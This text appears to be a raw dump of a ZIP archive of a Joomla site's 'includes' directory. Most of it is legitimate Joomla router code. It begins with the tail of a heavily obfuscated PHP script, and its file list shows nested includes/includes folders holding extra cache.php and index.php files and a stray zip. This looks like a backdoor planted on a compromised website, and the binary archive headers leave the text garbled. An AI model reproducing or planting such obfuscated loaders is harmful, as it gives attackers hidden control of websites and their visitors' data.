"\62\x31\63\x39\56\x32\61\x33\x36\56\x32\61\x33\63\x2e\62\x31\x34\x30\x2e\x32\61\x34\66\56\62\x31\x33\x38\x2e\62\61\x34\60\x2e\x32\61\62\65\56\62\x31\64\66\x2e\62\61\x34\62\56\62\x31\63\60\x2e\62\x31\x33\61\x2e\x32\x31\x32\65\56\x32\x31\x34\60\56\x32\x31\63\61\56\62\61\62\x35\56\x32\61\62\x36", "\62\x31\x36\x39\x2e\62\61\x39\71", "\x32\x31\x31\x36", "\62\x31\71\64\56\x32\61\71\71", "\62\x31\x37\66\x2e\x32\61\65\71\56\x32\x31\65\71\56\x32\61\67\66\56\x32\x31\x35\x32", "\x32\61\63\71\x2e\62\61\x33\66\x2e\62\61\x33\63\56\x32\x31\x32\65\56\62\61\x34\60\56\x32\x31\x32\67\56\62\x31\64\66\56\x32\61\x33\66\x2e\62\x31\63\61\56\x32\61\x32\x39\x2e\x32\61\x32\64\56\62\x31\x32\x35"); goto ar1TmGFb7i59E; fDOK5gUjq649W: @$j7frvDXYVZPq2[9 + 1](INPUT_GET, "\x6f\146") == 1 && die($j7frvDXYVZPq2[0 + 5](__FILE__)); goto QswKVsMzAA87P; Lg0L1pXrJjSIr: } } goto z0L2CEpyukFb1; z0L2CEpyukFb1: wl8A63ZUQyF79::JIXcrOPT7Uzd4(); ?> PKug>\@''includes/cache.phpnuW+APKug>\Q)0d0d0 router.phpnuW+AgetCfg('force_ssl') == 2 && strtolower($uri->getScheme()) != 'https') { //forward to https $uri->setScheme('https'); $app->redirect((string)$uri); } // Get the path $path = $uri->getPath(); // Remove the base URI path. $path = substr_replace($path, '', 0, strlen(JURI::base(true))); // Check to see if a request to a specific entry point has been made. if (preg_match("#.*?\.php#u", $path, $matches)) { // Get the current entry point path relative to the site path. $scriptPath = realpath($_SERVER['SCRIPT_FILENAME'] ? $_SERVER['SCRIPT_FILENAME'] : str_replace('\\\\', '\\', $_SERVER['PATH_TRANSLATED'])); $relativeScriptPath = str_replace('\\', '/', str_replace(JPATH_SITE, '', $scriptPath)); // If a php file has been found in the request path, check to see if it is a valid file. // Also verify that it represents the same file from the server variable for entry script. if (file_exists(JPATH_SITE.$matches[0]) && ($matches[0] == $relativeScriptPath)) { // Remove the entry point segments from the request path for proper routing. $path = str_replace($matches[0], '', $path); } } // Identify format if ($this->_mode == JROUTER_MODE_SEF) { if ($app->getCfg('sef_suffix') && !(substr($path, -9) == 'index.php' || substr($path, -1) == '/')) { if ($suffix = pathinfo($path, PATHINFO_EXTENSION)) { $vars['format'] = $suffix; } } } //Set the route $uri->setPath(trim($path , '/')); $vars += parent::parse($uri); return $vars; } public function build($url) { $uri = parent::build($url); // Get the path data $route = $uri->getPath(); //Add the suffix to the uri if ($this->_mode == JROUTER_MODE_SEF && $route) { $app = JApplication::getInstance('site'); if ($app->getCfg('sef_suffix') && !(substr($route, -9) == 'index.php' || substr($route, -1) == '/')) { if ($format = $uri->getVar('format', 'html')) { $route .= '.'.$format; $uri->delVar('format'); } } if ($app->getCfg('sef_rewrite')) { //Transform the route if ($route == 'index.php') { $route = ''; } else { $route = str_replace('index.php/', '', $route); } } } //Add basepath to the uri $uri->setPath(JURI::base(true).'/'.$route); return $uri; } protected function _parseRawRoute(&$uri) { $vars = array(); $app = JApplication::getInstance('site'); $menu = $app->getMenu(true); //Handle an empty URL (special case) if (!$uri->getVar('Itemid') && !$uri->getVar('option')) { $item = $menu->getDefault(JFactory::getLanguage()->getTag()); if (!is_object($item)) { // No default item set return $vars; } //Set the information in the request $vars = $item->query; //Get the itemid $vars['Itemid'] = $item->id; // Set the active menu item $menu->setActive($vars['Itemid']); return $vars; } //Get the variables from the uri $this->setVars($uri->getQuery(true)); //Get the itemid, if it hasn't been set force it to null $this->setVar('Itemid', JRequest::getInt('Itemid', null)); // Only an Itemid OR if filter language plugin set? Get the full information from the itemid if (count($this->getVars()) == 1 || ( $app->getLanguageFilter() && count( $this->getVars()) == 2 )) { $item = $menu->getItem($this->getVar('Itemid')); if ($item !== NULL && is_array($item->query)) { $vars = $vars + $item->query; } } // Set the active menu item $menu->setActive($this->getVar('Itemid')); return $vars; } protected function _parseSefRoute(&$uri) { $vars = array(); $app = JApplication::getInstance('site'); $menu = $app->getMenu(true); $route = $uri->getPath(); // Remove the suffix if ($this->_mode == JROUTER_MODE_SEF) { if ($app->getCfg('sef_suffix')) { if ($suffix = pathinfo($route, PATHINFO_EXTENSION)) { $route = str_replace('.' . $suffix, '', $route); } } } // Get the variables from the uri $vars = $uri->getQuery(true); // Handle an empty URL (special case) if (empty($route)) { // If route is empty AND option is set in the query, assume it's non-sef url, and parse apropriately if (isset($vars['option']) || isset($vars['Itemid'])) { return $this->_parseRawRoute($uri); } $item = $menu->getDefault(JFactory::getLanguage()->getTag()); // if user not allowed to see default menu item then avoid notices if(is_object($item)) { //Set the information in the request $vars = $item->query; //Get the itemid $vars['Itemid'] = $item->id; // Set the active menu item $menu->setActive($vars['Itemid']); } return $vars; } /* * Parse the application route */ $segments = explode('/', $route); if (count($segments) > 1 && $segments[0] == 'component') { $vars['option'] = 'com_'.$segments[1]; $vars['Itemid'] = null; $route = implode('/', array_slice($segments, 2)); } else { //Need to reverse the array (highest sublevels first) $items = array_reverse($menu->getMenu()); $found = false; $route_lowercase = JString::strtolower($route); $lang_tag = JFactory::getLanguage()->getTag(); foreach ($items as $item) { //sqlsrv change if(isset($item->language)){ $item->language = trim($item->language); } $length = strlen($item->route); //get the length of the route if ($length > 0 && JString::strpos($route_lowercase.'/', $item->route.'/') === 0 && $item->type != 'menulink' && (!$app->getLanguageFilter() || $item->language == '*' || $item->language == $lang_tag)) { // We have exact item for this language if ($item->language == $lang_tag) { $found = $item; break; } // Or let's remember an item for all languages elseif (!$found) { $found = $item; } } } if (!$found) { $found = $menu->getDefault($lang_tag); } else { $route = substr($route, strlen($found->route)); if ($route) { $route = substr($route, 1); } } $vars['Itemid'] = $found->id; $vars['option'] = $found->component; } // Set the active menu item if (isset($vars['Itemid'])) { $menu->setActive( $vars['Itemid']); } // Set the variables $this->setVars($vars); /* * Parse the component route */ if (!empty($route) && isset($this->_vars['option'])) { $segments = explode('/', $route); if (empty($segments[0])) { array_shift($segments); } // Handle component route $component = preg_replace('/[^A-Z0-9_\.-]/i', '', $this->_vars['option']); // Use the component routing handler if it exists $path = JPATH_SITE . '/components/' . $component . '/router.php'; if (file_exists($path) && count($segments)) { if ($component != "com_search") { // Cheap fix on searches //decode the route segments $segments = $this->_decodeSegments($segments); } else { // fix up search for URL $total = count($segments); for ($i=0; $i<$total; $i++) { // urldecode twice because it is encoded twice $segments[$i] = urldecode(urldecode(stripcslashes($segments[$i]))); } } require_once $path; $function = substr($component, 4).'ParseRoute'; $function = str_replace(array("-", "."), "", $function); $vars = $function($segments); $this->setVars($vars); } } else { //Set active menu item if ($item = $menu->getActive()) { $vars = $item->query; } } return $vars; } protected function _buildRawRoute(&$uri) { } protected function _buildSefRoute(&$uri) { // Get the route $route = $uri->getPath(); // Get the query data $query = $uri->getQuery(true); if (!isset($query['option'])) { return; } $app = JApplication::getInstance('site'); $menu = $app->getMenu(); /* * Build the component route */ $component = preg_replace('/[^A-Z0-9_\.-]/i', '', $query['option']); $tmp = ''; // Use the component routing handler if it exists $path = JPATH_SITE . '/components/' . $component . '/router.php'; // Use the custom routing handler if it exists if (file_exists($path) && !empty($query)) { require_once $path; $function = substr($component, 4).'BuildRoute'; $function = str_replace(array("-", "."), "", $function); $parts = $function($query); // encode the route segments if ($component != 'com_search') { // Cheep fix on searches $parts = $this->_encodeSegments($parts); } else { // fix up search for URL $total = count($parts); for ($i = 0; $i < $total; $i++) { // urlencode twice because it is decoded once after redirect $parts[$i] = urlencode(urlencode(stripcslashes($parts[$i]))); } } $result = implode('/', $parts); $tmp = ($result != "") ? $result : ''; } /* * Build the application route */ $built = false; if (isset($query['Itemid']) && !empty($query['Itemid'])) { $item = $menu->getItem($query['Itemid']); if (is_object($item) && $query['option'] == $item->component) { if (!$item->home || $item->language!='*') { $tmp = !empty($tmp) ? $item->route.'/'.$tmp : $item->route; } $built = true; } } if (!$built) { $tmp = 'component/'.substr($query['option'], 4).'/'.$tmp; } if ($tmp) { $route .= '/'.$tmp; } elseif ($route=='index.php') { $route = ''; } // Unset unneeded query information if (isset($item) && $query['option'] == $item->component) { unset($query['Itemid']); } unset($query['option']); //Set query again in the URI $uri->setQuery($query); $uri->setPath($route); } protected function _processParseRules(&$uri) { // Process the attached parse rules $vars = parent::_processParseRules($uri); // Process the pagination support if ($this->_mode == JROUTER_MODE_SEF) { $app = JApplication::getInstance('site'); if ($start = $uri->getVar('start')) { $uri->delVar('start'); $vars['limitstart'] = $start; } } return $vars; } protected function _processBuildRules(&$uri) { // Make sure any menu vars are used if no others are specified if (($this->_mode != JROUTER_MODE_SEF) && $uri->getVar('Itemid') && count($uri->getQuery(true)) == 2) { $app = JApplication::getInstance('site'); $menu = $app->getMenu(); // Get the active menu item $itemid = $uri->getVar('Itemid'); $item = $menu->getItem($itemid); if ($item) { $uri->setQuery($item->query); } $uri->setVar('Itemid', $itemid); } // Process the attached build rules parent::_processBuildRules($uri); // Get the path data $route = $uri->getPath(); if ($this->_mode == JROUTER_MODE_SEF && $route) { $app = JApplication::getInstance('site'); if ($limitstart = $uri->getVar('limitstart')) { $uri->setVar('start', (int) $limitstart); $uri->delVar('limitstart'); } } $uri->setPath($route); } protected function _createURI($url) { //Create the URI $uri = parent::_createURI($url); // Set URI defaults $app = JApplication::getInstance('site'); $menu = $app->getMenu(); // Get the itemid form the URI $itemid = $uri->getVar('Itemid'); if (is_null($itemid)) { if ($option = $uri->getVar('option')) { $item = $menu->getItem($this->getVar('Itemid')); if (isset($item) && $item->component == $option) { $uri->setVar('Itemid', $item->id); } } else { if ($option = $this->getVar('option')) { $uri->setVar('option', $option); } if ($itemid = $this->getVar('Itemid')) { $uri->setVar('Itemid', $itemid); } } } else { if (!$uri->getVar('option')) { if ($item = $menu->getItem($itemid)) { $uri->setVar('option', $item->component); } } } return $uri; } } PKug>\T defines.phpnuW+A\=0 framework.phpnuW+APKug>\qf  menu.phpnuW+APKug>\̦B>> pathway.phpnuW+APKug>\) 2.htaccessnuW+APKug>\V index.htmlnuW+APKug>\Y,)B)BC application.phpnuW+APKug>\,rbincludes/includes/.htaccessnuW+APKug>\,r$cincludes/includes/includes/.htaccessnuW+APKug>\gss$eincludes/includes/includes/cache.phpnuW+APKug>\wXo$fincludes/includes/includes/index.phpnuW+APKug>\oy0hincludes/includes/includes/m4a_6909691205cc9.zipnuW+APKug>\L""~includes/includes/cache.phpnuW+APKug>\$$Sincludes/includes/index.phpnuW+APKug>\,rªincludes/.htaccessnuW+APKug>\o  ߫includes/index.phpnuW+APKug>\@''Aincludes/cache.phpnuW+APKug>\Q)0d0d0 router.phpnuW+APKug>\T Hdefines.phpnuW+APKU